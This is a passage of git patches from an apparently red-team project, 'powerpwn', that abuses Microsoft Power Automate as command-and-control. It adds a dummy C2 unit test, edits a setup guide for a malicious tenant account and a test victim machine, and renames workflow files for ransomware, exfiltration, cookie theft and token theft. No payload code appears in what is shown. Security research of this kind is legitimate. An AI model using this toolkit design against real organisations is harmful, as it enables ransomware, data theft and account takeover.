<11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:07:10 +0300 Subject: [PATCH 07/29] add c2 test --- tests/powerpwntests/c2_test.py | 42 ++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 tests/powerpwntests/c2_test.py diff --git a/tests/powerpwntests/c2_test.py b/tests/powerpwntests/c2_test.py new file mode 100644 index 0000000..8bdfefa --- /dev/null +++ b/tests/powerpwntests/c2_test.py @@ -0,0 +1,42 @@ +from powerpwn.c2 import PowerPwnC2 +from powerpwn.models.cmd_arguments import CommandArguments, CommandToRunEnum +from powerpwn.models.cmd_results import ( + AgentRunErrors, + AgentRunType, + CleanupOutputs, + CodeExecOutputs, + CommandResults, + ExfiltrationOutputs, + RansomwareOutputs, + StealCookieOutputs, + StealPowerAutomateTokenOutputs, +) + + +class DummyPowerPwnC2(PowerPwnC2): + def _run_cmd(self, arguments_as_dict: dict) -> dict: + command_to_run_arg_name = CommandArguments.command_to_run.__name__ + command_to_run_val = arguments_as_dict[command_to_run_arg_name] + + cmd_res = CommandResults.construct( + is_success=True, + agent_run_type=AgentRunType.attended.value, + agent_run_errors=AgentRunErrors.construct(attended_run_error={}, unattended_run_error={}), + ) + + if command_to_run_val == CommandToRunEnum.CODE_EXEC.value: + cmd_res.cmd_code_execution = CodeExecOutputs.construct() + elif command_to_run_val == CommandToRunEnum.RANSOMWARE.value: + cmd_res.cmd_ransomware = RansomwareOutputs.construct() + elif command_to_run_val == CommandToRunEnum.EXFILTRATION.value: + cmd_res.cmd_exfiltration = ExfiltrationOutputs.construct() + elif command_to_run_val == CommandToRunEnum.CLEANUP.value: + cmd_res.cmd_cleanup = CleanupOutputs.construct() + elif command_to_run_val == CommandToRunEnum.STEAL_POWER_AUTOMATE_TOKEN.value: + cmd_res.cmd_steal_power_automate_token = StealPowerAutomateTokenOutputs.construct() + elif command_to_run_val == CommandToRunEnum.STEAL_COOKIE.value: + cmd_res.cmd_steal_cookie = StealCookieOutputs.construct() + else: + raise ValueError(f"command_to_run has invalid value: {command_to_run_val}.") + + return cmd_res.json() From b93bec651edbdb9a9cfa53af3948858cb0d3292c Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:07:46 +0300 Subject: [PATCH 08/29] add test init --- tests/powerpwntests/__init__.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 tests/powerpwntests/__init__.py diff --git a/tests/powerpwntests/__init__.py b/tests/powerpwntests/__init__.py new file mode 100644 index 0000000..e69de29 From 4030d7f4336f944d6b106ee46663e3ec5247c836 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:09:04 +0300 Subject: [PATCH 09/29] reorder images for docs --- {assets => docs/assets}/endpoint_flow.png | Bin {assets => docs/assets}/import_solution.png | Bin {assets => docs/assets}/post_url.png | Bin {assets => docs/assets}/power_platform_admin.png | Bin {assets => docs/assets}/pwntoso.png | Bin {assets => docs/assets}/victim_machines.png | Bin docs/cloud_setup.md | 12 ++++++------ 7 files changed, 6 insertions(+), 6 deletions(-) rename {assets => docs/assets}/endpoint_flow.png (100%) rename {assets => docs/assets}/import_solution.png (100%) rename {assets => docs/assets}/post_url.png (100%) rename {assets => docs/assets}/power_platform_admin.png (100%) rename {assets => docs/assets}/pwntoso.png (100%) rename {assets => docs/assets}/victim_machines.png (100%) diff --git a/assets/endpoint_flow.png b/docs/assets/endpoint_flow.png similarity index 100% rename from assets/endpoint_flow.png rename to docs/assets/endpoint_flow.png diff --git a/assets/import_solution.png b/docs/assets/import_solution.png similarity index 100% rename from assets/import_solution.png rename to docs/assets/import_solution.png diff --git a/assets/post_url.png b/docs/assets/post_url.png similarity index 100% rename from assets/post_url.png rename to docs/assets/post_url.png diff --git a/assets/power_platform_admin.png b/docs/assets/power_platform_admin.png similarity index 100% rename from assets/power_platform_admin.png rename to docs/assets/power_platform_admin.png diff --git a/assets/pwntoso.png b/docs/assets/pwntoso.png similarity index 100% rename from assets/pwntoso.png rename to docs/assets/pwntoso.png diff --git a/assets/victim_machines.png b/docs/assets/victim_machines.png similarity index 100% rename from assets/victim_machines.png rename to docs/assets/victim_machines.png diff --git a/docs/cloud_setup.md b/docs/cloud_setup.md index 9c04431..eb10bbf 100644 --- a/docs/cloud_setup.md +++ b/docs/cloud_setup.md @@ -4,11 +4,11 @@ 1. Set up your free Microsoft tenant by following [Microsoft guidelines](https://docs.microsoft.com/en-us/azure/active-directory/verifiable-credentials/how-to-create-a-free-developer-account) - ![Pwntoso tenant](../assets/pwntoso.png) + ![Pwntoso tenant](assets/pwntoso.png) 2. Create a malicious user account and assign it a _Power platform administrator_ role. The admin role isn't necessary, it's just convenient. - ![Power platform administrator role](../assets/power_platform_admin.png) + ![Power platform administrator role](assets/power_platform_admin.png) 3. On a private browser tab @@ -28,7 +28,7 @@ 2. Click Go to _Monitor_ and then _Machines_ and verify that the test victim machine is there - ![Victim machines](../assets/victim_machines.png) + ![Victim machines](assets/victim_machines.png) ### Upload pwntoso to your Power Automate cloud environment @@ -36,7 +36,7 @@ 2. Go to _Solutions_ and click _Import solution_ - ![Import pwntoso solution](../assets/import_solution.png) + ![Import pwntoso solution](assets/import_solution.png) 3. Zip the content of [pwntoso_1_0_0_1](../solution/pwntoso_1_0_0_1) and select it when asked to provide a solution file. Follow the guided process to completion. @@ -44,10 +44,10 @@ 4. Go to _My flows_ and search for _Endpoint_ - ![Endpoint flow](../assets/endpoint_flow.png) + ![Endpoint flow](assets/endpoint_flow.png) Click on _Edit_ and then on _When a HTTP request is received_ and copy the URL under _HTTP POST URL_ - ![HTTP Post URL](../assets/post_url.png) + ![HTTP Post URL](assets/post_url.png) 5. Note the _HTTP Post URL_ for use with the Python module. \ No newline at end of file From 331c340c38babd16f7641fd1086710ae6797c567 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:10:04 +0300 Subject: [PATCH 10/29] intro power_automate_setup dir --- docs/cloud_setup.md | 2 +- .../power_automate_setup/schema}/endpoint_flow_input.json | 0 .../power_automate_setup/schema}/endpoint_flow_output.json | 0 .../Workflows/Cleanup-57BFF48E-24FB-48E9-A390-AC62ADF38B07.json | 0 .../CodeExec-D37DA402-3829-492F-90D0-8EC3909514EB.json | 0 .../Endpoint-EE15B860-9EEC-EC11-BB3D-0022482CA4A7.json | 0 .../Workflows/Exfil-EC266392-D6BC-4F7B-A4D1-410166D30B55.json | 0 .../Ransomware-E20F7CED-42AD-485E-BE4D-DE21DCE58EC0.json | 0 .../RunCleanup-77740706-9DEC-EC11-BB3D-0022482CA4A7.json | 0 .../RunCodeExec-75740706-9DEC-EC11-BB3D-0022482CA4A7.json | 0 .../RunExfil-78740706-9DEC-EC11-BB3D-0022482CA4A7.json | 0 .../RunRansomware-76740706-9DEC-EC11-BB3D-0022482CA4A7.json | 0 .../RunStealCookie-8B5C57DA-F404-ED11-82E4-0022481BF843.json | 0 ...PowerAutomateToken-8C5C57DA-F404-ED11-82E4-0022481BF843.json | 0 .../StealCookie-28050355-D9DF-4CE7-BFBC-4F7DDE890C2A.json | 0 ...PowerAutomateToken-C4E7B7DA-54E4-49AB-B634-FCCD77C65025.json | 0 .../solution}/pwntoso_1_0_0_1/[Content_Types].xml | 0 .../solution}/pwntoso_1_0_0_1/customizations.xml | 0 .../power_automate_setup/solution}/pwntoso_1_0_0_1/solution.xml | 0 19 files changed, 1 insertion(+), 1 deletion(-) rename {schema => src/power_automate_setup/schema}/endpoint_flow_input.json (100%) rename {schema => src/power_automate_setup/schema}/endpoint_flow_output.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/Cleanup-57BFF48E-24FB-48E9-A390-AC62ADF38B07.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/CodeExec-D37DA402-3829-492F-90D0-8EC3909514EB.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/Endpoint-EE15B860-9EEC-EC11-BB3D-0022482CA4A7.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/Exfil-EC266392-D6BC-4F7B-A4D1-410166D30B55.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/Ransomware-E20F7CED-42AD-485E-BE4D-DE21DCE58EC0.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/RunCleanup-77740706-9DEC-EC11-BB3D-0022482CA4A7.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/RunCodeExec-75740706-9DEC-EC11-BB3D-0022482CA4A7.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/RunExfil-78740706-9DEC-EC11-BB3D-0022482CA4A7.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/RunRansomware-76740706-9DEC-EC11-BB3D-0022482CA4A7.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/RunStealCookie-8B5C57DA-F404-ED11-82E4-0022481BF843.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/RunStealPowerAutomateToken-8C5C57DA-F404-ED11-82E4-0022481BF843.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/StealCookie-28050355-D9DF-4CE7-BFBC-4F7DDE890C2A.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/Workflows/StealPowerAutomateToken-C4E7B7DA-54E4-49AB-B634-FCCD77C65025.json (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/[Content_Types].xml (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/customizations.xml (100%) rename {solution => src/power_automate_setup/solution}/pwntoso_1_0_0_1/solution.xml (100%) diff --git a/docs/cloud_setup.md b/docs/cloud_setup.md index eb10bbf..6d4fe06 100644 --- a/docs/cloud_setup.md +++ b/docs/cloud_setup.md @@ -38,7 +38,7 @@ ![Import pwntoso solution](assets/import_solution.png) -3. Zip the content of [pwntoso_1_0_0_1](../solution/pwntoso_1_0_0_1) and select it when asked to provide a solution file. Follow the guided process to completion. +3. Zip the content of [pwntoso_1_0_0_1](../src/power_automate_setup/solution/pwntoso_1_0_0_1) and select it when asked to provide a solution file. Follow the guided process to completion. 1. When asked to provide a connection, following the guided process to create a new machine connection. Use the test victim machine credentials. diff --git a/schema/endpoint_flow_input.json b/src/power_automate_setup/schema/endpoint_flow_input.json similarity index 100% rename from schema/endpoint_flow_input.json rename to src/power_automate_setup/schema/endpoint_flow_input.json diff --git a/schema/endpoint_flow_output.json b/src/power_automate_setup/schema/endpoint_flow_output.json similarity index 100% rename from schema/endpoint_flow_output.json rename to src/power_automate_setup/schema/endpoint_flow_output.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/Cleanup-57BFF48E-24FB-48E9-A390-AC62ADF38B07.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Cleanup-57BFF48E-24FB-48E9-A390-AC62ADF38B07.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/Cleanup-57BFF48E-24FB-48E9-A390-AC62ADF38B07.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Cleanup-57BFF48E-24FB-48E9-A390-AC62ADF38B07.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/CodeExec-D37DA402-3829-492F-90D0-8EC3909514EB.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/CodeExec-D37DA402-3829-492F-90D0-8EC3909514EB.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/CodeExec-D37DA402-3829-492F-90D0-8EC3909514EB.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/CodeExec-D37DA402-3829-492F-90D0-8EC3909514EB.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/Endpoint-EE15B860-9EEC-EC11-BB3D-0022482CA4A7.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Endpoint-EE15B860-9EEC-EC11-BB3D-0022482CA4A7.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/Endpoint-EE15B860-9EEC-EC11-BB3D-0022482CA4A7.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Endpoint-EE15B860-9EEC-EC11-BB3D-0022482CA4A7.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/Exfil-EC266392-D6BC-4F7B-A4D1-410166D30B55.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Exfil-EC266392-D6BC-4F7B-A4D1-410166D30B55.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/Exfil-EC266392-D6BC-4F7B-A4D1-410166D30B55.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Exfil-EC266392-D6BC-4F7B-A4D1-410166D30B55.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/Ransomware-E20F7CED-42AD-485E-BE4D-DE21DCE58EC0.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Ransomware-E20F7CED-42AD-485E-BE4D-DE21DCE58EC0.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/Ransomware-E20F7CED-42AD-485E-BE4D-DE21DCE58EC0.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Ransomware-E20F7CED-42AD-485E-BE4D-DE21DCE58EC0.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/RunCleanup-77740706-9DEC-EC11-BB3D-0022482CA4A7.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunCleanup-77740706-9DEC-EC11-BB3D-0022482CA4A7.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/RunCleanup-77740706-9DEC-EC11-BB3D-0022482CA4A7.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunCleanup-77740706-9DEC-EC11-BB3D-0022482CA4A7.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/RunCodeExec-75740706-9DEC-EC11-BB3D-0022482CA4A7.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunCodeExec-75740706-9DEC-EC11-BB3D-0022482CA4A7.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/RunCodeExec-75740706-9DEC-EC11-BB3D-0022482CA4A7.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunCodeExec-75740706-9DEC-EC11-BB3D-0022482CA4A7.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/RunExfil-78740706-9DEC-EC11-BB3D-0022482CA4A7.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunExfil-78740706-9DEC-EC11-BB3D-0022482CA4A7.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/RunExfil-78740706-9DEC-EC11-BB3D-0022482CA4A7.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunExfil-78740706-9DEC-EC11-BB3D-0022482CA4A7.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/RunRansomware-76740706-9DEC-EC11-BB3D-0022482CA4A7.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunRansomware-76740706-9DEC-EC11-BB3D-0022482CA4A7.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/RunRansomware-76740706-9DEC-EC11-BB3D-0022482CA4A7.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunRansomware-76740706-9DEC-EC11-BB3D-0022482CA4A7.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/RunStealCookie-8B5C57DA-F404-ED11-82E4-0022481BF843.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunStealCookie-8B5C57DA-F404-ED11-82E4-0022481BF843.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/RunStealCookie-8B5C57DA-F404-ED11-82E4-0022481BF843.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunStealCookie-8B5C57DA-F404-ED11-82E4-0022481BF843.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/RunStealPowerAutomateToken-8C5C57DA-F404-ED11-82E4-0022481BF843.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunStealPowerAutomateToken-8C5C57DA-F404-ED11-82E4-0022481BF843.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/RunStealPowerAutomateToken-8C5C57DA-F404-ED11-82E4-0022481BF843.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunStealPowerAutomateToken-8C5C57DA-F404-ED11-82E4-0022481BF843.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/StealCookie-28050355-D9DF-4CE7-BFBC-4F7DDE890C2A.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/StealCookie-28050355-D9DF-4CE7-BFBC-4F7DDE890C2A.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/StealCookie-28050355-D9DF-4CE7-BFBC-4F7DDE890C2A.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/StealCookie-28050355-D9DF-4CE7-BFBC-4F7DDE890C2A.json diff --git a/solution/pwntoso_1_0_0_1/Workflows/StealPowerAutomateToken-C4E7B7DA-54E4-49AB-B634-FCCD77C65025.json b/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/StealPowerAutomateToken-C4E7B7DA-54E4-49AB-B634-FCCD77C65025.json similarity index 100% rename from solution/pwntoso_1_0_0_1/Workflows/StealPowerAutomateToken-C4E7B7DA-54E4-49AB-B634-FCCD77C65025.json rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/StealPowerAutomateToken-C4E7B7DA-54E4-49AB-B634-FCCD77C65025.json diff --git a/solution/pwntoso_1_0_0_1/[Content_Types].xml b/src/power_automate_setup/solution/pwntoso_1_0_0_1/[Content_Types].xml similarity index 100% rename from solution/pwntoso_1_0_0_1/[Content_Types].xml rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/[Content_Types].xml diff --git a/solution/pwntoso_1_0_0_1/customizations.xml b/src/power_automate_setup/solution/pwntoso_1_0_0_1/customizations.xml similarity index 100% rename from solution/pwntoso_1_0_0_1/customizations.xml rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/customizations.xml diff --git a/solution/pwntoso_1_0_0_1/solution.xml b/src/power_automate_setup/solution/pwntoso_1_0_0_1/solution.xml similarity index 100% rename from solution/pwntoso_1_0_0_1/solution.xml rename to src/power_automate_setup/solution/pwntoso_1_0_0_1/solution.xml From 126e42e426fbe1c0270c14a19bbbea84359213f8 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 21:10:53 +0300 Subject: [PATCH 11/29] intro malicious_msft --- docs/cloud_setup.md | 2 +- .../schema/endpoint_flow_input.json | 0 .../schema/endpoint_flow_output.json | 0 .../Workflows/Cleanup-57BFF48E-24FB-48E9-A390-AC62ADF38B07.json | 0 .../CodeExec-D37DA402-3829-492F-90D0-8EC3909514EB.json | 0 .../Endpoint-EE15B860-9EEC-EC11-BB3D-0022482CA4A7.json | 0 .../Workflows/Exfil-EC266392-D6BC-4F7B-A4D1-410166D30B55.json | 0 .../Ransomware-E20F7CED-42AD-485E-BE4D-DE21DCE58EC0.json | 0 .../RunCleanup-77740706-9DEC-EC11-BB3D-0022482CA4A7.json | 0 .../RunCodeExec-75740706-9DEC-EC11-BB3D-0022482CA4A7.json | 0 .../RunExfil-78740706-9DEC-EC11-BB3D-0022482CA4A7.json | 0 .../RunRansomware-76740706-9DEC-EC11-BB3D-0022482CA4A7.json | 0 .../RunStealCookie-8B5C57DA-F404-ED11-82E4-0022481BF843.json | 0 ...PowerAutomateToken-8C5C57DA-F404-ED11-82E4-0022481BF843.json | 0 .../StealCookie-28050355-D9DF-4CE7-BFBC-4F7DDE890C2A.json | 0 ...PowerAutomateToken-C4E7B7DA-54E4-49AB-B634-FCCD77C65025.json | 0 .../solution/pwntoso_1_0_0_1/[Content_Types].xml | 0 .../solution/pwntoso_1_0_0_1/customizations.xml | 0 .../solution/pwntoso_1_0_0_1/solution.xml | 0 19 files changed, 1 insertion(+), 1 deletion(-) rename src/{power_automate_setup => malicious_msft}/schema/endpoint_flow_input.json (100%) rename src/{power_automate_setup => malicious_msft}/schema/endpoint_flow_output.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/Cleanup-57BFF48E-24FB-48E9-A390-AC62ADF38B07.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/CodeExec-D37DA402-3829-492F-90D0-8EC3909514EB.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/Endpoint-EE15B860-9EEC-EC11-BB3D-0022482CA4A7.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/Exfil-EC266392-D6BC-4F7B-A4D1-410166D30B55.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/Ransomware-E20F7CED-42AD-485E-BE4D-DE21DCE58EC0.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/RunCleanup-77740706-9DEC-EC11-BB3D-0022482CA4A7.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/RunCodeExec-75740706-9DEC-EC11-BB3D-0022482CA4A7.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/RunExfil-78740706-9DEC-EC11-BB3D-0022482CA4A7.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/RunRansomware-76740706-9DEC-EC11-BB3D-0022482CA4A7.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/RunStealCookie-8B5C57DA-F404-ED11-82E4-0022481BF843.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/RunStealPowerAutomateToken-8C5C57DA-F404-ED11-82E4-0022481BF843.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/StealCookie-28050355-D9DF-4CE7-BFBC-4F7DDE890C2A.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/Workflows/StealPowerAutomateToken-C4E7B7DA-54E4-49AB-B634-FCCD77C65025.json (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/[Content_Types].xml (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/customizations.xml (100%) rename src/{power_automate_setup => malicious_msft}/solution/pwntoso_1_0_0_1/solution.xml (100%) diff --git a/docs/cloud_setup.md b/docs/cloud_setup.md index 6d4fe06..2c602f6 100644 --- a/docs/cloud_setup.md +++ b/docs/cloud_setup.md @@ -38,7 +38,7 @@ ![Import pwntoso solution](assets/import_solution.png) -3. Zip the content of [pwntoso_1_0_0_1](../src/power_automate_setup/solution/pwntoso_1_0_0_1) and select it when asked to provide a solution file. Follow the guided process to completion. +3. Zip the content of [pwntoso_1_0_0_1](../src/malicious_msft/solution/pwntoso_1_0_0_1) and select it when asked to provide a solution file. Follow the guided process to completion. 1. When asked to provide a connection, following the guided process to create a new machine connection. Use the test victim machine credentials. diff --git a/src/power_automate_setup/schema/endpoint_flow_input.json b/src/malicious_msft/schema/endpoint_flow_input.json similarity index 100% rename from src/power_automate_setup/schema/endpoint_flow_input.json rename to src/malicious_msft/schema/endpoint_flow_input.json diff --git a/src/power_automate_setup/schema/endpoint_flow_output.json b/src/malicious_msft/schema/endpoint_flow_output.json similarity index 100% rename from src/power_automate_setup/schema/endpoint_flow_output.json rename to src/malicious_msft/schema/endpoint_flow_output.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Cleanup-57BFF48E-24FB-48E9-A390-AC62ADF38B07.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/Cleanup-57BFF48E-24FB-48E9-A390-AC62ADF38B07.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Cleanup-57BFF48E-24FB-48E9-A390-AC62ADF38B07.json rename to src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/Cleanup-57BFF48E-24FB-48E9-A390-AC62ADF38B07.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/CodeExec-D37DA402-3829-492F-90D0-8EC3909514EB.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/CodeExec-D37DA402-3829-492F-90D0-8EC3909514EB.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/CodeExec-D37DA402-3829-492F-90D0-8EC3909514EB.json rename to src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/CodeExec-D37DA402-3829-492F-90D0-8EC3909514EB.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Endpoint-EE15B860-9EEC-EC11-BB3D-0022482CA4A7.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/Endpoint-EE15B860-9EEC-EC11-BB3D-0022482CA4A7.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Endpoint-EE15B860-9EEC-EC11-BB3D-0022482CA4A7.json rename to src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/Endpoint-EE15B860-9EEC-EC11-BB3D-0022482CA4A7.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Exfil-EC266392-D6BC-4F7B-A4D1-410166D30B55.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/Exfil-EC266392-D6BC-4F7B-A4D1-410166D30B55.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Exfil-EC266392-D6BC-4F7B-A4D1-410166D30B55.json rename to src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/Exfil-EC266392-D6BC-4F7B-A4D1-410166D30B55.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Ransomware-E20F7CED-42AD-485E-BE4D-DE21DCE58EC0.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/Ransomware-E20F7CED-42AD-485E-BE4D-DE21DCE58EC0.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/Ransomware-E20F7CED-42AD-485E-BE4D-DE21DCE58EC0.json rename to src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/Ransomware-E20F7CED-42AD-485E-BE4D-DE21DCE58EC0.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunCleanup-77740706-9DEC-EC11-BB3D-0022482CA4A7.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/RunCleanup-77740706-9DEC-EC11-BB3D-0022482CA4A7.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunCleanup-77740706-9DEC-EC11-BB3D-0022482CA4A7.json rename to src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/RunCleanup-77740706-9DEC-EC11-BB3D-0022482CA4A7.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunCodeExec-75740706-9DEC-EC11-BB3D-0022482CA4A7.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/RunCodeExec-75740706-9DEC-EC11-BB3D-0022482CA4A7.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunCodeExec-75740706-9DEC-EC11-BB3D-0022482CA4A7.json rename to src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/RunCodeExec-75740706-9DEC-EC11-BB3D-0022482CA4A7.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunExfil-78740706-9DEC-EC11-BB3D-0022482CA4A7.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/RunExfil-78740706-9DEC-EC11-BB3D-0022482CA4A7.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunExfil-78740706-9DEC-EC11-BB3D-0022482CA4A7.json rename to src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/RunExfil-78740706-9DEC-EC11-BB3D-0022482CA4A7.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunRansomware-76740706-9DEC-EC11-BB3D-0022482CA4A7.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/RunRansomware-76740706-9DEC-EC11-BB3D-0022482CA4A7.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunRansomware-76740706-9DEC-EC11-BB3D-0022482CA4A7.json rename to src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/RunRansomware-76740706-9DEC-EC11-BB3D-0022482CA4A7.json diff --git a/src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunStealCookie-8B5C57DA-F404-ED11-82E4-0022481BF843.json b/src/malicious_msft/solution/pwntoso_1_0_0_1/Workflows/RunStealCookie-8B5C57DA-F404-ED11-82E4-0022481BF843.json similarity index 100% rename from src/power_automate_setup/solution/pwntoso_1_0_0_1/Workflows/RunStealCookie-8B5C57DA-F404-ED11-82E4-0022481BF843.json rename to 